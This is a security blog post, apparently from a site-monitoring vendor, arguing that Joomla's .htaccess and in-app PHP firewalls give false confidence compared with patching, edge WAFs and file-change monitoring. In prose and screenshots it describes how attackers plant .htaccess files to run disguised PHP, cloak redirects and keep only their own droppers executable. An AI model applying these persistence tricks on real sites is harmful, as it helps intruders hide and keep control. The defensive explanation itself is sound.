&lt;p&gt;Seven rules. No pharmaceutical blocklist, no Easter-egg regex, no fossilised referrer-spam tokens. WordPress leans on secure-by-design core and its plugin ecosystem, for better and for worse, instead of pretending the rewrite file is a firewall. WordPress did not simply get security right while Joomla got it wrong; both have plenty of plugin and extension vulnerabilities. WordPress just never asked its &lt;code&gt;.htaccess&lt;/code&gt; to do a job the &lt;code&gt;.htaccess&lt;/code&gt; cannot do.&lt;/p&gt;
&lt;h2&gt;The ground is shifting under Apache, and Cloudflare is hiding how fast&lt;/h2&gt;
&lt;p&gt;I quoted a single snapshot of those figures earlier. Look at the &lt;a href=&quot;https://w3techs.com/technologies/history_overview/web_server&quot;&gt;twelve-year trend&lt;/a&gt; instead and the direction is unmistakable. As I write this, W3Techs has Nginx at 31.5%, Cloudflare’s own server at 29.0%, Apache at 23.1% and LiteSpeed at 15.1%. A year ago Apache was on 26.0% and Cloudflare on 24.0%: in twelve months Apache shed nearly three points while Cloudflare gained five, and that is not a blip, it is the shape of the whole decade. Apache sliding, Nginx and the edge rising. The one server the entire &lt;code&gt;.htaccess&lt;/code&gt; argument depends on is the one steadily losing ground.&lt;/p&gt;
&lt;p&gt;But those figures deserve less confidence than the people quoting them tend to give them, mine included, and the reason cuts against my own argument as hard as it cuts for it. These surveys identify a site’s web server from the &lt;code&gt;Server&lt;/code&gt; response header, and Cloudflare rewrites that header to &lt;code&gt;cloudflare&lt;/code&gt; for every site it proxies, whatever is actually running at the origin behind it. A site served by Apache behind Cloudflare is therefore counted as Cloudflare, not Apache. Every Apache origin hiding inside that 29% Cloudflare bucket is an Apache install the survey never sees. The consequence is that Apache is almost certainly more common than 23% makes it look, quite possibly more common than Nginx, and we simply cannot know by how much, because the proxy that masks it now fronts more than a fifth of the web. We will never really know the true numbers.&lt;/p&gt;
&lt;p&gt;Which sounds like it rescues the &lt;code&gt;.htaccess&lt;/code&gt;, and does the opposite. Every one of those hidden Apache sites has a Cloudflare edge sitting in front of it, and that helps the file not at all: the edge can answer a request from cache without it ever reaching Apache or its &lt;code&gt;.htaccess&lt;/code&gt;, and the edge is where the real hardening belongs, the very layer Joomla offers not one line of guidance for. The masking does not prove your &lt;code&gt;.htaccess&lt;/code&gt; still matters. It proves it now sits even further back, behind even more that runs before it, than the raw share numbers admit.&lt;/p&gt;
&lt;h2&gt;On a fresh Apache server, your .htaccess is ignored by default&lt;/h2&gt;
&lt;p&gt;Here is a fact that surprises most Joomla site owners: on a brand-new Apache install, your &lt;code&gt;.htaccess&lt;/code&gt; does nothing at all. Not “less than you think”, literally nothing. Since Apache 2.3.9, released back in 2011, the shipped default has been &lt;code&gt;AllowOverride None&lt;/code&gt;, which tells Apache not to read &lt;code&gt;.htaccess&lt;/code&gt; files anywhere on the server. Every rule you carefully wrote, every SEF rewrite, every hardening directive, every deny rule, is sitting in a file Apache has been explicitly instructed never to open.&lt;/p&gt;
&lt;p&gt;Those rules only begin to work the moment a server administrator opens the main Apache configuration, &lt;code&gt;httpd.conf&lt;/code&gt;, a vhost file, or &lt;code&gt;apache2.conf&lt;/code&gt; on Debian and Ubuntu, and changes the &lt;code&gt;&amp;lt;Directory&amp;gt;&lt;/code&gt; block covering your document root to &lt;code&gt;AllowOverride All&lt;/code&gt;, or at least to the specific override classes your rules require. This is exactly why “I renamed &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; and my SEF URLs still don’t work” is one of the most common questions a new-server Joomla install produces. The rewrites are not broken and the file is not wrong. Apache was simply never told to read it, so it doesn’t.&lt;/p&gt;
&lt;p&gt;Sit with what that means for the mental model. The single most important decision about whether your &lt;code&gt;.htaccess&lt;/code&gt; runs at all is made in server configuration that you usually cannot see, that on shared hosting you cannot change, and about which you are never notified, not in your &lt;code&gt;.htaccess&lt;/code&gt; itself. Your “security file” is opt-in, off by default on a fresh server, and someone else entirely holds the switch.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: AllowOverride and the override classes&lt;/p&gt;&lt;p&gt;&lt;code&gt;AllowOverride&lt;/code&gt; lives in a &lt;code&gt;&amp;lt;Directory&amp;gt;&lt;/code&gt; block in the main Apache config, never in the &lt;code&gt;.htaccess&lt;/code&gt; itself, and its default since Apache 2.3.9 (2011) is &lt;code&gt;None&lt;/code&gt;, meaning matching &lt;code&gt;.htaccess&lt;/code&gt; files are not even opened. To make Joomla’s SEF rewrites run you need at least &lt;code&gt;AllowOverride FileInfo&lt;/code&gt; (which permits &lt;code&gt;mod_rewrite&lt;/code&gt; directives); a full hardening &lt;code&gt;.htaccess&lt;/code&gt; typically also needs &lt;code&gt;Options&lt;/code&gt;, &lt;code&gt;Limit&lt;/code&gt; and &lt;code&gt;AuthConfig&lt;/code&gt;, which is why hosts usually just grant &lt;code&gt;AllowOverride All&lt;/code&gt; and be done with it.&lt;/p&gt;&lt;p&gt;On managed shared hosting the control panel sets this for you, so you never see it. On an unmanaged server or a fresh VPS, nothing does, so a freshly renamed &lt;code&gt;.htaccess&lt;/code&gt; is completely inert until you edit the server config by hand. And because &lt;code&gt;AllowOverride&lt;/code&gt; is evaluated per-directory from the top of the tree down, a single broad &lt;code&gt;AllowOverride None&lt;/code&gt; higher up disables every &lt;code&gt;.htaccess&lt;/code&gt; beneath it in one line.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;And the switch flips both ways, at times you do not choose. A host tuning for performance may set &lt;code&gt;AllowOverride None&lt;/code&gt; across the whole box, because Apache’s own documentation recommends exactly that, moving rules up into the main config, for speed, and in doing so retires every &lt;code&gt;.htaccess&lt;/code&gt; on the server. A migration to a new server, a control-panel rebuild, a move onto a hardened base image, any of these can reset &lt;code&gt;AllowOverride&lt;/code&gt; to its default and switch your entire hardening layer off without a single character of your &lt;code&gt;.htaccess&lt;/code&gt; ever changing. You would not see an error. The rules would simply stop applying, and unless you were actively testing for them, you would never notice. A security control that defaults to off, and that someone else can switch off again at any time without telling you, is not a foundation to build on.&lt;/p&gt;
&lt;h2&gt;Your .htaccess is buried behind proxies you don’t control&lt;/h2&gt;
&lt;p&gt;There is one more layer to this that almost no one accounts for, and it has become the norm. Most serious sites no longer serve requests from a single Apache instance. They serve them from a stack.&lt;/p&gt;
&lt;p&gt;A very common modern arrangement is Cloudflare in front of Nginx in front of Apache with PHP-FPM behind it, or Nginx as a caching reverse proxy in front of Apache, which is now a standard cPanel configuration. In every one of those stacks, your Apache &lt;code&gt;.htaccess&lt;/code&gt; sits at the very back, and it only has any say once a request has already travelled through everything in front of it. It governs one hop of the journey, the Apache leg, and it is blind and powerless for the rest.&lt;/p&gt;
&lt;p&gt;Two consequences follow, and both undercut the mental model of “my &lt;code&gt;.htaccess&lt;/code&gt; guards the front door”. First, whatever the front proxy allows through reaches Apache regardless of what your &lt;code&gt;.htaccess&lt;/code&gt; would have wanted at the edge; the &lt;code&gt;.htaccess&lt;/code&gt; cannot filter a request before it has been proxied to Apache, because it is not the first thing the request meets, it is nearly the last. Second, and more damaging, a request that the front layer can answer from cache never reaches Apache at all. If Cloudflare or the Nginx reverse-proxy cache has a copy of the response, it serves it directly, and your &lt;code&gt;.htaccess&lt;/code&gt; does not execute: not its redirects, not its blocks, not its security headers, not its carefully crafted deny rules. A security rule that only runs on cache misses is a security rule with holes in it that move around depending on what is currently cached.&lt;/p&gt;
&lt;p&gt;So the picture people have in their heads, a single gatekeeper &lt;code&gt;.htaccess&lt;/code&gt; standing at the entrance inspecting every visitor, is wrong twice over on a modern stack. There are one, two, sometimes three layers in front of it that it has no control over and cannot even see, and behind some of those layers, for cached responses, it does not run at all. It is a door somewhere near the back of the house that only some visitors ever walk through, not the front door.&lt;/p&gt;
&lt;h2&gt;Even hackers use .htaccess, usually better than you do&lt;/h2&gt;
&lt;p&gt;There is an irony sitting underneath all of this, and it is a real one: attackers are frequently far more fluent in &lt;code&gt;.htaccess&lt;/code&gt; than the site owners defending with it. To a competent attacker it is one of their favourite tools, not a shield at all.&lt;/p&gt;
&lt;p&gt;Once they have a foothold, a &lt;code&gt;.htaccess&lt;/code&gt; is how they make themselves comfortable. They drop their own into an uploads folder to force PHP processing where your rules forbade it, so that the innocuous-looking &lt;code&gt;.jpg&lt;/code&gt; they uploaded runs as code. They plant one in a deep subdirectory to cloak and redirect: real visitors and Googlebot get sent to a spam or malware network, while you, visiting your own homepage, are served a clean page and see nothing wrong for months. They use it to password-protect the directory holding their own backdoor, so that even if you find the folder you cannot easily see inside it. We have cleaned up sites with &lt;a href=&quot;https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/&quot;&gt;thousands of malicious .htaccess files that attackers weaponised against the owner&lt;/a&gt;, scattered through every writable directory, and we have watched backdoors &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;rebuild every one of those files within minutes of a cleanup&lt;/a&gt;, because the entry point that let them in was never actually closed. The same file you trusted as your defence is, in a compromised site, the attacker’s preferred instrument. They understand the format better than you do, and they are using it against you.&lt;/p&gt;
&lt;h2&gt;Your .htaccess might be the hack itself&lt;/h2&gt;
&lt;p&gt;Here is the turn that catches people out. On a compromised site, the &lt;code&gt;.htaccess&lt;/code&gt; is not automatically your file. Some of the most common Joomla infections we clean up right now ship their own, uploaded by the attacker and doing the exact opposite of what you assume a &lt;code&gt;.htaccess&lt;/code&gt; is for.&lt;/p&gt;
&lt;p&gt;We flag every one of them. On the site below, the audit found &lt;code&gt;.htaccess&lt;/code&gt; files marked as hacked scattered through the template tree and inside a folder the attacker had helpfully named &lt;code&gt;firewall&lt;/code&gt;, several of them set to &lt;code&gt;0444&lt;/code&gt; so they are read-only and harder to delete.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-hacked-htaccess-files-audit.sVNxu4CT_20urTe.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-hacked-htaccess-files-audit.sVNxu4CT_1WB69w.webp 640w, https://mysites.guru/_astro/joomla-hacked-htaccess-files-audit.sVNxu4CT_ZyvAh.webp 750w, https://mysites.guru/_astro/joomla-hacked-htaccess-files-audit.sVNxu4CT_Z2jgWig.webp 828w, https://mysites.guru/_astro/joomla-hacked-htaccess-files-audit.sVNxu4CT_1nDxmC.webp 1080w, https://mysites.guru/_astro/joomla-hacked-htaccess-files-audit.sVNxu4CT_Z2ohBR6.webp 1280w, https://mysites.guru/_astro/joomla-hacked-htaccess-files-audit.sVNxu4CT_20urTe.webp 1600w&quot; alt=&quot;The mySites.guru file audit on a compromised Joomla site, listing multiple attacker-planted .htaccess files flagged as Hacked File, several with 0444 read-only permissions, alongside a Delete all .htaccess files button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;629&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Open one and the intent is obvious. This is the contents of that &lt;code&gt;/tmp/firewall/firewall/.htaccess&lt;/code&gt;:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/hacker-htaccess-php-whitelist.BQV1fmIT_ZRxivy.webp&quot; srcset=&quot;https://mysites.guru/_astro/hacker-htaccess-php-whitelist.BQV1fmIT_r8DK4.webp 640w, https://mysites.guru/_astro/hacker-htaccess-php-whitelist.BQV1fmIT_VfTza.webp 750w, https://mysites.guru/_astro/hacker-htaccess-php-whitelist.BQV1fmIT_Z2gLbid.webp 828w, https://mysites.guru/_astro/hacker-htaccess-php-whitelist.BQV1fmIT_1UQ5yF.webp 1080w, https://mysites.guru/_astro/hacker-htaccess-php-whitelist.BQV1fmIT_BA3rO.webp 1280w, https://mysites.guru/_astro/hacker-htaccess-php-whitelist.BQV1fmIT_ZRxivy.webp 1600w&quot; alt=&quot;The contents of an attacker-planted .htaccess: a FilesMatch block denying execution to every spelling of a PHP file extension, followed by a second block that re-allows only index.php and cache.php&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;431&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Read it the way Apache does. The first block denies execution to every spelling of a PHP file it can think of, &lt;code&gt;php&lt;/code&gt;, &lt;code&gt;PHP&lt;/code&gt;, &lt;code&gt;pHp&lt;/code&gt;, &lt;code&gt;php5&lt;/code&gt;, &lt;code&gt;phtml&lt;/code&gt;, plus &lt;code&gt;.suspected&lt;/code&gt; and several more. The second block then carves two exceptions back out: &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;cache.php&lt;/code&gt; are allowed to run. That is an attacker switching PHP execution off for the whole directory and back on again only for their own two droppers, not a defence. Every scanner’s shell, every rival attacker’s backdoor, every file but theirs is now inert, while their &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;cache.php&lt;/code&gt; keep serving. It is persistence and turf control, written in the exact syntax you were told to trust.&lt;/p&gt;
&lt;p&gt;This is why we treat a new or changed &lt;code&gt;.htaccess&lt;/code&gt; as something to audit, not something to believe. The file that is supposed to be your defence is, often enough, the clearest signal that the site is already owned.&lt;/p&gt;
&lt;h2&gt;More reasons the .htaccess is the wrong thing to trust&lt;/h2&gt;
&lt;p&gt;Beyond the headline problems, a pile of smaller ones compounds, and any single one of them should give you pause before you treat this file as your security.&lt;/p&gt;
&lt;h3&gt;One bad line takes the whole site down&lt;/h3&gt;
&lt;p&gt;A &lt;code&gt;.htaccess&lt;/code&gt; is parsed on every request, and if it contains a single directive Apache cannot honour, a rule from a module the host has not loaded, a typo, a directive the host has explicitly forbidden, Apache does not skip it and move on. It returns a &lt;code&gt;500 Internal Server Error&lt;/code&gt; for every request to that directory and everything beneath it: your pages, your images, your CSS, all of it, gone at once. The file you added to make the site safer is one fat-fingered line away from taking the entire site offline. It fails to &lt;em&gt;broken&lt;/em&gt;, not to &lt;em&gt;safe&lt;/em&gt;, which is the opposite of what a security control should do.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: how one line 500s everything&lt;/p&gt;&lt;p&gt;Apache parses the applicable &lt;code&gt;.htaccess&lt;/code&gt; files while it assembles the response, so a directive it cannot process is a fatal parse error for that request, not a skipped line. Add &lt;code&gt;Header set X-Frame-Options SAMEORIGIN&lt;/code&gt; where &lt;code&gt;mod_headers&lt;/code&gt; is not loaded, a &lt;code&gt;php_value&lt;/code&gt; where PHP runs as FPM or CGI rather than &lt;code&gt;mod_php&lt;/code&gt;, or a &lt;code&gt;SetEnv&lt;/code&gt; where &lt;code&gt;mod_env&lt;/code&gt; is absent, and every request under that directory returns &lt;code&gt;500 Internal Server Error&lt;/code&gt;, including static assets that never touch Joomla at all.&lt;/p&gt;&lt;p&gt;There is no partial application and no graceful fallback: the entire file is rejected, so a rule you pasted in for security can black-hole the whole site until someone reads the Apache error log and finds the one offending line. A security file that can take the site down on a typo is a liability sitting inside your defence.&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;Your ruleset is downloadable, and it maps your defences&lt;/h3&gt;
&lt;p&gt;Every editor and hardening tool leaves backups behind: &lt;code&gt;.htaccess.bak&lt;/code&gt;, &lt;code&gt;.htaccess.orig&lt;/code&gt;, &lt;code&gt;.htaccess.save&lt;/code&gt;, cPanel’s own copies, Akeeba’s &lt;code&gt;.htaccess.admintools&lt;/code&gt;. Those backup files are almost never themselves protected from direct browser access, so an attacker can often just request one and read, in plain text, exactly which paths you guard, which files you hide, and which protections you lean on. Your secret hardening becomes a reconnaissance document, served straight to the person you were trying to hide it from.&lt;/p&gt;
&lt;h3&gt;It is not in source control, so it drifts unnoticed&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;.htaccess&lt;/code&gt; lives on the server, edited by hand, almost never committed to git, rarely reviewed by anyone. Your dev, staging and production copies drift apart, no one can diff the current state against a known-good baseline, and Joomla’s own warning that a core update will overwrite &lt;code&gt;htaccess.txt&lt;/code&gt; guarantees the rot. Security configuration you cannot see the history of, and cannot diff, is security configuration you do not really control.&lt;/p&gt;
&lt;h3&gt;It is blind to the vectors behind most compromises&lt;/h3&gt;
&lt;p&gt;A phished or reused Super User password, a nulled or pirated extension shipping a backdoor, a legitimate extension whose update server was compromised: all of these arrive through approved, authenticated, entirely expected channels. A large share of real-world Joomla infections begin exactly there, and no &lt;code&gt;.htaccess&lt;/code&gt; rule has any opinion whatsoever about a valid login or a signed update. You cannot rewrite-rule your way out of a stolen password.&lt;/p&gt;
&lt;h3&gt;A default lockdown punishes the careful and waves the malware through&lt;/h3&gt;
&lt;p&gt;This is the sting hiding inside a “secure by default” restrictive &lt;code&gt;.htaccess&lt;/code&gt;. The extensions that break under it are the well-behaved ones that put their files where they said they would. Malware does not read your whitelist; it writes wherever the process can write. So the rule inconveniences legitimate developers and their users far more than it ever inconveniences the attacker it was aimed at.&lt;/p&gt;
&lt;h3&gt;A dead rule looks exactly like a working one&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;.htaccess&lt;/code&gt; directives are order-sensitive and dependency-sensitive. A hardening rule pasted below the SEF rewrite’s &lt;code&gt;[L]&lt;/code&gt; flag, or one that needs a module the server has not loaded, simply never fires, and nothing anywhere tells you. You cannot unit-test it, you cannot see it on a dashboard, and “I added the rule” is not the same statement as “the rule runs”. A good share of the hardening people believe they have is dead code they will never find out is dead.&lt;/p&gt;
&lt;h3&gt;It keeps no record of its own tampering&lt;/h3&gt;
&lt;p&gt;When an attacker drops or overwrites a malicious &lt;code&gt;.htaccess&lt;/code&gt;, the file raises no alarm about itself. No log line, no alert, no diff, nothing that says “your security file just changed underneath you”. A control that cannot tell you it has been subverted is the exact opposite of what you want, and it is the whole reason the thing that actually catches these break-ins is file-change monitoring watching the &lt;code&gt;.htaccess&lt;/code&gt;, not the &lt;code&gt;.htaccess&lt;/code&gt; watching for itself.&lt;/p&gt;
&lt;h2&gt;The most dangerous thing your .htaccess does is reassure you&lt;/h2&gt;
&lt;p&gt;Everything up to here has been about what a &lt;code&gt;.htaccess&lt;/code&gt; cannot stop. The subtler and more expensive damage is what it makes you &lt;em&gt;feel&lt;/em&gt;. A hardened &lt;code&gt;.htaccess&lt;/code&gt; is enormously reassuring, and that reassurance is very nearly unearned, which makes false confidence the real cost of the whole exercise, well ahead of the CPU it burns.&lt;/p&gt;
&lt;p&gt;Watch how it plays out in practice. You run Admin Tools, you work through the toggles, you get a satisfying “your site is hardened” summary, and a warm feeling of having done your security homework settles in. Then the critical extension update arrives, the one that actually closes the hole an attacker is about to use, and the urgency to apply it is gone, because you are hardened now. The update can wait until the weekend, or the end of the sprint, or the next time you happen to log in. The hardening did not make you safer. It made you slower to do the one thing, patching, that would have. You swapped a small, real risk reduction for a large, invisible increase in how long you leave known holes standing open. That is a bad trade, and it is a trade almost no one realises they are making.&lt;/p&gt;
&lt;p&gt;It gets worse once the reassurance turns institutional, which is what a “secure by default” &lt;code&gt;.htaccess&lt;/code&gt; shipped in Joomla core would become. Push a stricter default onto a million installs and you also push a message to a million site owners: security is handled, the project has taken care of it, you can relax. For the one narrow risk the rule addresses, that message is true. For the SQL injection, the unauthenticated upload, the add-an-admin, the abandoned dev site next door, everything that actually gets sites owned, it is false, and now it is being broadcast at scale with the authority of the core team behind it. A green tick that covers a sliver of your real risk but reads as “you are protected” is not neutral. It actively suppresses the behaviour, patching and monitoring, that covers everything else.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Warning: hardening is not the same as being patched&lt;/p&gt;&lt;p&gt;The most common pattern we see in the hours before a compromise is a hardened site running an extension three versions behind, whose owner deferred the update because the site “was secure”, not an unhardened one. Hardening and patching are not substitutes for one another. If you only have time for one this week, patch: the update actually closes the hole, while the &lt;code&gt;.htaccess&lt;/code&gt;, at its very best, makes one narrow corner of the site slightly less convenient to abuse after the break-in has already happened.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The false confidence also starves the one thing that actually catches a breach. If you believe your &lt;code&gt;.htaccess&lt;/code&gt; is standing between attackers and your site, you will not spend money or attention on file-change monitoring, because why would you, the wall is up. So when an attack routes through &lt;code&gt;index.php&lt;/code&gt; past every rule you own, and it will, nothing is watching for the shell it drops. The compromise your hardening was never going to prevent now also goes undetected, because your hardening persuaded you detection was unnecessary. That is how a site ends up serving pharmacy spam to Google for six months: not because no one hardened it, but because somebody hardened it and then stopped looking.&lt;/p&gt;
&lt;p&gt;Real security is uncomfortable on purpose. It assumes the wall will be bypassed, it keeps patching as though there were no wall, and it watches for the breach as though it were inevitable, because it is. A &lt;code&gt;.htaccess&lt;/code&gt; that lulls you out of doing those three things has cost you far more than it ever protected.&lt;/p&gt;
&lt;p&gt;And if you are thinking that this is why you bought a firewall instead of relying on a text file, the next two sections are for you, because the trap has a second door.&lt;/p&gt;
&lt;h2&gt;Not all WAFs are equal - the most popular, by definition, slow down your sites a little!&lt;/h2&gt;
&lt;p&gt;Earlier I gave a web application firewall the credit for the one block that actually happened, and said it was the WAF rather than the &lt;code&gt;.htaccess&lt;/code&gt; that caught it. So it is worth being as precise about firewalls as I have tried to be about everything else here. “WAF” is one word covering several quite different things sitting at different layers of the stack, and the layer decides both what the thing can catch and what it costs you to run.&lt;/p&gt;
&lt;p&gt;Start with the kind most Joomla sites actually run, because it is the kind that gets sold to them: a PHP web application firewall, installed into Joomla as a component or a system plugin. It is the most popular sort by a distance, and it slows your site down by definition. That is a structural fact about where it sits rather than a criticism of how it is written. To inspect a request at all it must first be running, which means the PHP process has already started and Joomla’s framework has already booted far enough to load system plugins, which is most of the fixed cost of a page view before any of your actual content is involved. Only then does the rule set run: a long list of regular expressions, evaluated in loops, against every parameter, every header and every cookie, on every single request that arrives, including the overwhelming majority that were always perfectly ordinary.&lt;/p&gt;
&lt;p&gt;That cost is not incidental to the protection, it &lt;em&gt;is&lt;/em&gt; the protection. The reason a PHP WAF can catch a SQL injection payload that your &lt;code&gt;.htaccess&lt;/code&gt; never could is that it is deep enough inside the request to see the parameter values after Joomla has parsed them, and being that deep is exactly what makes it expensive. Every request pays for the inspection, and your customer’s request pays the same as the attacker’s. Popularity then compounds it: the most-installed security extension in the ecosystem is, by definition, the one charging that per-request tax to the most sites.&lt;/p&gt;
&lt;p&gt;The best place for a web application firewall is the server layer, or better still the edge, in front of your server entirely: ModSecurity as an Apache or Nginx module, or a real edge WAF like Cloudflare. Put it at the edge and a malicious request is inspected and rejected in a datacentre near the attacker, before it has touched your server at all, let alone started a PHP process or booted Joomla. Your origin spends nothing on it, and your legitimate visitors are not paying a regex tax on every page view for the privilege. It also cannot be got at: a WAF at the edge sits outside the folder tree, outside the application, and outside the reach of whoever compromises the site. It is not a checkbox on a settings screen inside the very thing being attacked, so it cannot be unticked by a frustrated administrator, switched off by a rogue Super User, or overridden by a dropped &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: how far a request travels before each WAF sees it&lt;/p&gt;&lt;p&gt;An edge WAF inspects the request at a datacentre near the visitor and drops it there: your server never receives it, so there is no connection to your origin, no Apache worker, no PHP process and no database query. A server-level WAF such as ModSecurity sees the request once it has reached your box and been parsed by the web server, and inspects it in compiled C before PHP is involved, costing you a little CPU and no PHP. A PHP WAF inside Joomla sees it last of all, once your server has accepted the request, started a PHP process, and booted the framework far enough to run system plugins.&lt;/p&gt;&lt;p&gt;So the further back the firewall sits, the more of your stack an attacker gets to spend before being told no, and the more of it your real visitors spend too.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;A Joomla extension WAF only sees what index.php sends it, and the hacker’s most important requests never go near it&lt;/h2&gt;
&lt;p&gt;The layer problem has a sibling, and this one is worse, because it is a coverage problem. A web application firewall installed as a Joomla extension is not the god layer you are looking for, and the reason has nothing to do with the quality of its rules. It only ever inspects the requests that Joomla hands it. It is a system plugin. It runs because Joomla ran. Its entire field of view is the set of requests that were routed through &lt;code&gt;index.php&lt;/code&gt; and got far enough into the application to fire a plugin event. Anything that reaches PHP by another path is, to that firewall, silent.&lt;/p&gt;
&lt;p&gt;Take our own connector, because it is the cleanest example I can give you and it is one I am responsible for. It is a PHP file sitting in a subfolder of your site, and it is requested directly, by design, for a reason worth saying out loud: it has to keep working on the day Joomla does not. When mySites.guru talks to that file, the request never touches &lt;code&gt;index.php&lt;/code&gt;, never boots the Joomla application, and never fires a plugin event. It is therefore never seen by RSFirewall!, never seen by Admin Tools’ WAF, and never seen by any other PHP firewall installed as a Joomla extension. Those firewalls never see the request to ignore it, because nothing woke them up.&lt;/p&gt;
&lt;p&gt;That is fine for us, because the connector authenticates every request itself and is built to stand on its own, which is the same standard I am asking you to hold everything else to. The point is what it proves about the firewall. There is a live PHP endpoint in your webspace, being requested every single day, that your security extension has no visibility of whatsoever. And if that is true of a file you installed on purpose and know about, ask yourself what else it is true of.&lt;/p&gt;
&lt;p&gt;The answer is: every directly-requested &lt;code&gt;.php&lt;/code&gt; file on the site. Akeeba’s &lt;code&gt;kickstart.php&lt;/code&gt;. The updater’s &lt;code&gt;extract.php&lt;/code&gt;. Any extension that ships a standalone endpoint. Any leftover script from an old installation, a migration tool someone uploaded once, a phpinfo file from a debugging session in 2019, the whole forgotten dev copy sitting in &lt;code&gt;./public_html/old&lt;/code&gt;. None of it routes through &lt;code&gt;index.php&lt;/code&gt;, so none of it is inspected, and the firewall’s dashboard will still cheerfully report that it is protecting your site.&lt;/p&gt;
&lt;p&gt;And then there is the one that actually costs you the site. Go back to the two-stage attack. Stage one is the exploit, and yes, that usually does arrive through &lt;code&gt;index.php&lt;/code&gt;, which is why a PHP WAF can sometimes catch it, as one did for us. Stage two is the attacker requesting the file they just planted: a plain GET to &lt;code&gt;/images/evil.php&lt;/code&gt;. That request does not go through &lt;code&gt;index.php&lt;/code&gt;. It does not boot Joomla. It does not fire a plugin event. Your WAF is not consulted and cannot be. So the firewall you are trusting gets exactly one chance to stop the whole attack, the request that plants the shell, and it only has to miss once. From that moment it is blind to every request the attacker makes for as long as they care to keep making them. The backdoor they run commands through for the next six months is invisible to your web application firewall, because your web application firewall lives inside the application, and the backdoor does not need the application.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Yes, I know about auto_prepend_file, and no, it does not rescue this&lt;/p&gt;&lt;p&gt;Some firewalls can hook every PHP script rather than only the ones Joomla routes, using PHP’s &lt;code&gt;auto_prepend_file&lt;/code&gt; directive to force their own entry point to execute before any script on the site runs. Credit where it is due: that is the right instinct, and it does close the blind spot described above. The shell at &lt;code&gt;/images/evil.php&lt;/code&gt; would then be inspected too, because the firewall runs before it does. There are two problems with reaching for it as the answer.&lt;/p&gt;&lt;p&gt;The first is the bill, and it is the previous section’s argument made worse. You have gone from “run the whole rule engine on every request Joomla handles” to “run the whole rule engine before every PHP file on the server executes”, including plenty that Joomla knows nothing about and that were never worth inspecting. Everything on the box gets slower, not just Joomla. The second problem is the one that settles it: you can only do this if you are permitted to. &lt;code&gt;auto_prepend_file&lt;/code&gt; is set in &lt;code&gt;php.ini&lt;/code&gt;, in a &lt;code&gt;.user.ini&lt;/code&gt;, or through &lt;code&gt;php_value&lt;/code&gt; in a &lt;code&gt;.htaccess&lt;/code&gt; under &lt;code&gt;mod_php&lt;/code&gt;, and on most shared hosting you have no &lt;code&gt;php.ini&lt;/code&gt; of your own, &lt;code&gt;php_value&lt;/code&gt; 500s the entire site the moment PHP is running as FPM or CGI rather than &lt;code&gt;mod_php&lt;/code&gt; (which is now the norm), and whether &lt;code&gt;.user.ini&lt;/code&gt; is exposed to you at all is your host’s decision, not yours. So the fix for the extension WAF’s blind spot turns out to need exactly the server-layer access that most Joomla site owners do not have. And if you &lt;em&gt;do&lt;/em&gt; have that access, the question answers itself: you had the server layer all along, so put the firewall there in the first place, where it is cheaper, sees everything, and cannot be switched off from inside the site.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;So the question worth asking out loud about any security extension is a coverage question: what proportion of the PHP that can execute on your server does this thing actually see? For a Joomla extension WAF the answer is “the proportion that goes through &lt;code&gt;index.php&lt;/code&gt;”, and that excludes every standalone endpoint, every forgotten script, every file belonging to the neighbouring site in your webspace, and every request to the backdoor once it exists. A WAF at the server or the edge has none of those blind spots, for the same structural reason it costs you nothing: it is in front of the server, so it sees every request that arrives, no matter which file the request was for or whether Joomla was ever going to run.&lt;/p&gt;
&lt;p&gt;To be clear, because these two sections have been hard on them: none of this is a case against web application firewalls. Like the &lt;code&gt;.htaccess&lt;/code&gt;, they have a real place, and I would far rather you ran one than did not. A PHP WAF inside Joomla still sees things nothing else in your stack can see, it is still the thing that blocked a live SQL injection for us, and on a shared host with no edge and no ModSecurity available to you it may be the only firewall you are permitted to have. Run it.&lt;/p&gt;
&lt;p&gt;The point is the same one, aimed at a different object: know what your protection actually covers, and do not let it do your thinking for you. How a Joomla extension WAF really works deserves an article of its own, and if I write it, a fair amount of what is above will turn up in it again almost word for word, because the same trap is sitting there waiting. A firewall that shows you a green dashboard while a direct request to a PHP file in a subfolder strolls past it unexamined is selling you exactly what a hardened &lt;code&gt;.htaccess&lt;/code&gt; sells: the feeling of having been protected, which has never been the same thing as the fact of it.&lt;/p&gt;
&lt;h2&gt;Secure by design beats a bigger moat&lt;/h2&gt;
&lt;p&gt;So what is the alternative to piling rules onto the gate? Stop thinking about moats, and start thinking about the house.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Why I don&apos;t lock the garden gate&lt;/p&gt;&lt;div&gt;&lt;p&gt;I don’t lock my garden gate when I go on holiday. Not because I have dug a moat and padlocked the gate, but because the house itself is in order and secure by design. Windows closed and locked. Doors deadbolted. Lights on a timer. Post office told to hold the mail, so no parcels pile up on the porch announcing to the whole street that no one is home.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
